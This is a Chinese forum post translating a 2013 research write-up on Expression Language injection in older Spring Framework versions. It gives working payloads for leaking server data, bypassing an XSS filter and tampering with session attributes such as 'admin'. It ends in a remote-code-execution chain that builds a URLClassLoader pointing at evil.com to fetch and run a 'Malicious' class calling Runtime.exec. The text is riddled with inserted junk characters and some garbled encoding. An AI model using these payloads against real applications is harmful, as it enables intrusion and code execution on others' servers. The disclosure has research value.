找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2301|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
% }/ \7 N5 _# h& T$ {  lExpression Language Injection9 Y$ e) e7 n; A7 Q% Z' M; D. k
Spring Framework脆弱性—DanAmodio% L. h! w8 @5 C& z3 n( a
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中7 u- r4 Q+ d' x" `: J+ G
可能会存在风险。0 Z, W" w1 t. U/ ?, p# B6 c
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的3 p' T2 C& e; ]" y  L' ?
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
4 B( i6 F% ?4 O2 R: |以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,9 I5 D2 @9 r2 i% ?& x: Z
以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前  C1 s4 j' V  N8 d( q
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。+ ?- g$ Y) M5 {! C% K* G
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但  }; f) Y% @4 Q2 D- `" a
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版9 [" w( x! n7 }% e0 w  S! a3 p
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
7 m" b5 ]6 j: D, N/ q这些版本不支持禁用double EL resolution.( L9 L9 ?3 ]4 K* V/ Z
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含6 z* q3 _( d" D+ o: Q
EL2.2容器上可能进行远程代码执行。
2 X9 L: m6 R3 K这是一个原始信息泄露的攻击例子:6 z5 A5 ?' u3 S2 P5 M. f! H
请求:
& c' R( u& S1 N8 Z' nttp://vulnerable.com/foo?message=${applicationScope}2 l: t3 y% S2 [9 L, b$ N
到达以下内容页面:
# z+ C& U5 H- E5 E8 F' b结果将输出一些包含内部服务器信息calsspath 和本地工作目录+ |. Z$ r% A- I( e4 W
你也可以做一些其他事情,如这样:( R( {+ {3 `' _0 {6 q& c
${9999+1}
5 }: {$ b( _- y" m还可以访问session 对象和beans
7 [- Y! G; W( f% S# d5 U$ z${employee.lastName}+ u! J3 a4 m9 \- T, c
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是, R% _/ A& {, B* s. S6 G
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
& |# a/ {5 [+ Y, L西,比如XSS.; y! Y% J; Z4 M' ?! a. n
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
, w# d8 H, \4 ^2 s$ m% m突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤2 N, [- n, t5 D# ^' B, x* ?7 _: a
呢?”
+ U% r! \* M0 O0 M. B1 n因此,我尝试巳缦拢�
& v2 B, N! C+ Z; y: A2 o: |, v% mhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
9 O) Y: _* {' a# o# VP3 h& r3 X3 f4 \+ N
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
, [7 @! N; T6 A回的文本被插入进了spring:message 标签。
; c* A  }7 G& t这里是一个最终绕过过滤的实例:
9 d+ i* {7 L' p* N6 u8 l; P. X% |% Jhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
) Q- A- y5 W6 K8 H它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为1 S; R& W; I) b; @9 v2 w
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
6 ~; _; ~! V' V' R- m/ }' V3 p经过一番研究,我学习到EL2.2 增加了方法调用。8 K7 D$ v+ C1 f, j; {- ^
我写了一个快速测试应用程序代码并且检测一些功能* l6 w# @" ^! ~* d
${pageContext.request.getSession().setAttribute(“account”,”123456″)}, Y8 g# D1 q5 r, t! [
${pageContext.request.getSession().setAttribute(“admin”,true)}
; G% }$ @0 ^9 I+ }8 I- r& ^8 h好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的- N6 Y  D! J+ n8 J8 Y
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?8 z- m& ~2 z# o. l- e2 I- T
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
  Y( W; ~8 s7 v“, 1234)}) l( I; C1 |, D  C) C! F- ?1 V" g
${“”.getClass().forName(“java.lang.Runtime”)}& _; [( A  i* c/ y  ^
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
2 s' m) r3 |2 O# x3 K可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函$ n& ^2 q% I$ t) m4 o9 ]
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有! e8 R: ^5 y$ Y# p3 O, |5 z* s
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
. }  G' Y4 x( t* w' r方法签名invoke(Object obj, Object„ args)/ |4 o/ Z7 W' O' A
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问5 a- z4 ~1 b; c/ u/ ~6 s' I1 m
题,以让它可以工作起来。2 U! R7 u5 N. Y! C* x
漏洞利用:  k. d7 _/ F: r6 k& U5 J" x
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
9 e( F3 g6 j  A( I) k希望你们中的一些JAVA奇才告诉我我是如此的可笑。/ R/ |, @) `( ^# Y
这里有一些我试过的失败的用例,为了试图让它工作的用例:
" P( i4 G' s4 u 写文件到文件系统! u+ b2 J* V  v1 v$ i
 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.4 Z5 @. n% d# o0 z
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
+ v$ W! [3 f8 u) O3 R1 h) D${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
8 U, ~/ _" U  Q% j3 `5 W1 Fjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
- m. Z  @0 ^* _! K5 o0 D& K7 u9 uorg.springframework.expression.spel.standard.SpelExpressionParser not found# v) B4 A' J# ]1 C# t0 C( S" z
by
' O% z" x. _+ j* s* ]  }' lorg.glassfish.web.javax.servlet.jsp [194].! ^# g) W. B. Y7 M  u, q( }7 J
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public! X$ f. Z0 S( y3 g# O# a
 利用反射来创建一个新的Runtime(and watch the world burn)9 @& Q0 m1 O& I8 E* I
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
; j: d# A+ w0 [! x(“java.lang.Runtime”)).getDeclaredConstructors()[0])}6 Z( S) K5 ?( n0 Y6 Q, p
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}9 v; s! z. s1 e  c% L! J! q/ z
 使用java.lang.ProcessBuilder
; W4 U* O$ O  b8 B6 F 用表达式语言来评估表达式语言
( ]+ b4 M) M0 xExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.! N/ o. A0 g0 n# Y: [) U
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
+ V7 P& ]" o( S9 H“,”".getClass(),null)}. K9 E1 |3 \  ]2 |; ]; ^: i9 I
 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
& q3 v* i  t' u. _我在使用一个空数组通过Method.invoke()时失败了很多次+ x1 y6 a+ @. x
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
- y4 [# t) O, d8 I( g, t.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
, `* P/ d& M( D8 `rrayList”).newInstance().toArray())4 F# A" e: t+ X" O. z, t
java.lang.IllegalArgumentException: wrong number of arguments4 _4 g; Z/ q9 h% X
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可, J% I* d/ D. f6 g# M7 X
以创建一个恶意class文件并且指向类装载器.2 w3 u6 e0 Z5 B# ~, m% x, N
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
1 K$ s* R+ ?  f* rpublic class Malicious {
$ Y/ Z2 u5 I  W2 Z- ?. Tpublic Malicious() {
! ^  z1 `& z' w1 k+ v0 }7 ktry {
; _6 Q; F' G5 x: {; _# t; g4 xjava.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac5 S- P7 d: J# @1 @2 f2 E
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win+ v: M; \1 q7 _! y# R& K, q
} catch (Exception e) {
' Q) n( N/ K' ?2 n1 f" O}
4 f9 K; x4 l, c}: I* P2 h1 R  ~% q  i4 s0 n
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
" L; D" a4 c' T& a! W3 d话中,因此它可以被使用.; z( Y6 a! K. o4 A- z" G8 V% N
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName2 a( {$ q1 W9 {
(“java.util.ArrayList”).newInstance())}
2 x, b0 k1 @! _7 m1 H. Q* `5 gURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
5 h: \/ a* u. [# i2 e( z/ V一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和3 G9 s3 q! Q2 S8 L
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
3 c  N5 z; e9 k3 y我们可以调用的create(string)方法,然后转换对一个URL对象。) G, k; j% T$ A: @8 q* ?
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
% ]; Q' V: _, r8 O3 @' Qere/malicious/classfile/is/located/”).toURL())}% U2 X1 I# e* n1 p: W6 h( p8 k
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,% d* t1 L, r1 P' i
恶意类文件被装载并创建,触发远程代码.% l- f0 ^- [$ L/ h! W% R; e7 L- E
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
( j! r# o. f# axt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().- U+ ]" J# f) \( Z0 d
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
' `& s8 q8 h2 c6 f()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表